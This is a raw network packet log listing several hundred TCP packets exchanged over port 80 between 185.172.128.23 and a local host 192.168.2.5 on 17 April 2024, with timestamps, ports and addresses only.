Apr 17, 2024 09:17:03.735199928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735217094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735222101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735233068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735249996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735263109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735265970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735280991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735284090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735301018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735316038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735328913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735342979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735346079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735363007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735380888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735392094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735398054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735415936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735425949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735434055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735443115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735451937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735470057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735476971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735486984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735505104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735515118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735522985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735541105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735551119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735558033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735575914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735580921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735594034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735610008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735624075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735627890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735646009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.735661983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735691071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.735718966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938296080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938411951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938450098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938452959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938483000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938529015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938539982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938566923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938577890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938604116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938621998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938642979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938658953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938680887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938690901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938719034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938733101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938756943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938767910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938796043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938807011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938832998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938844919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938870907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938882113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938906908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938920021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938947916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938960075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.938985109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.938998938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939028025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939035892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939073086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939079046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939110994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939127922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939147949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939171076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939188004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939202070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939224958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939254999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939260960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939273119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939299107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939316034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939336061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939347982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939373970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939384937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939410925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939420938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939450026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939462900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939487934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939498901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939527035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939537048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939563990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939575911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939601898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939613104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939639091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939650059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939677000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939686060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939713955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939723969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939749956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939762115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939788103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939799070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939825058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939837933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939862967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939877987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939899921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939913034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939938068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939949989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.939975023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.939986944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940012932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940021992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940052986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940063000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940093040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940109968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940145969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940154076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940192938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940205097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940229893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940243959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940268993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940279961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940308094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940320015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940346003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940355062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940382957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940392971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940422058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940433025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940459013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940468073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940496922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940507889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940534115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940545082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940572023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940582991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940609932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940618992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940649033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940659046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940686941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940697908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940725088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940735102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940762043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940774918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940799952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940809011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940836906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940846920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940872908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940910101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940922976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.940949917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.940987110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941004038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941024065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941024065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941050053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941061020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941073895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941098928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941112995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941135883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941149950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941171885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941189051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941210032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941219091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941250086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941257000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941287041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941297054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941324949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941339016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941361904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941373110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941399097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941414118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941433907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941450119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941471100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941481113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941508055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941519022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941545010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941556931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941581964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941595078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941625118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941641092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941660881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941673040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941699028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941710949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941735029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941746950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941771984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941781998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941808939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941818953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941847086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941858053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941884995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941895962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941921949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941932917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941958904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.941972971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.941996098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942011118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942034006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942047119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942070961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942081928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942107916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942118883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942146063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942154884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942183018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942193031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942219973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942235947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942256927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942266941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942293882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942305088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942331076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942341089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942368031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942378044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942405939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942415953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942442894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942454100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942480087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942492008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942517042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942529917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942553043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942564964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942589998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942603111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942625999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942639112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942662954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942672968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942699909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942718029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942737103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942745924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942773104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942785025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942812920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942821026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942848921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942861080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942887068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942898989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942923069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942934036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942960978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.942970991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.942996979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943006992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943034887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943044901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943073034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943082094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943110943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943124056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943149090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943159103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943185091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943196058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943223000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943232059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943259001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943270922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943295956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943306923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943339109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943342924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943377972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943387032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943414927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943425894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943454027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943464041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943490982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943500996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943527937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943537951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943566084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943599939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943603039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943617105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943639994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943650961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943676949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943687916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943713903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943726063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943753004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943762064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943789959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943799973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943828106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943840981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943864107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943875074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943900108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.943911076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943937063 CEST	80	49704	185.172.128.23	192.168.2.5
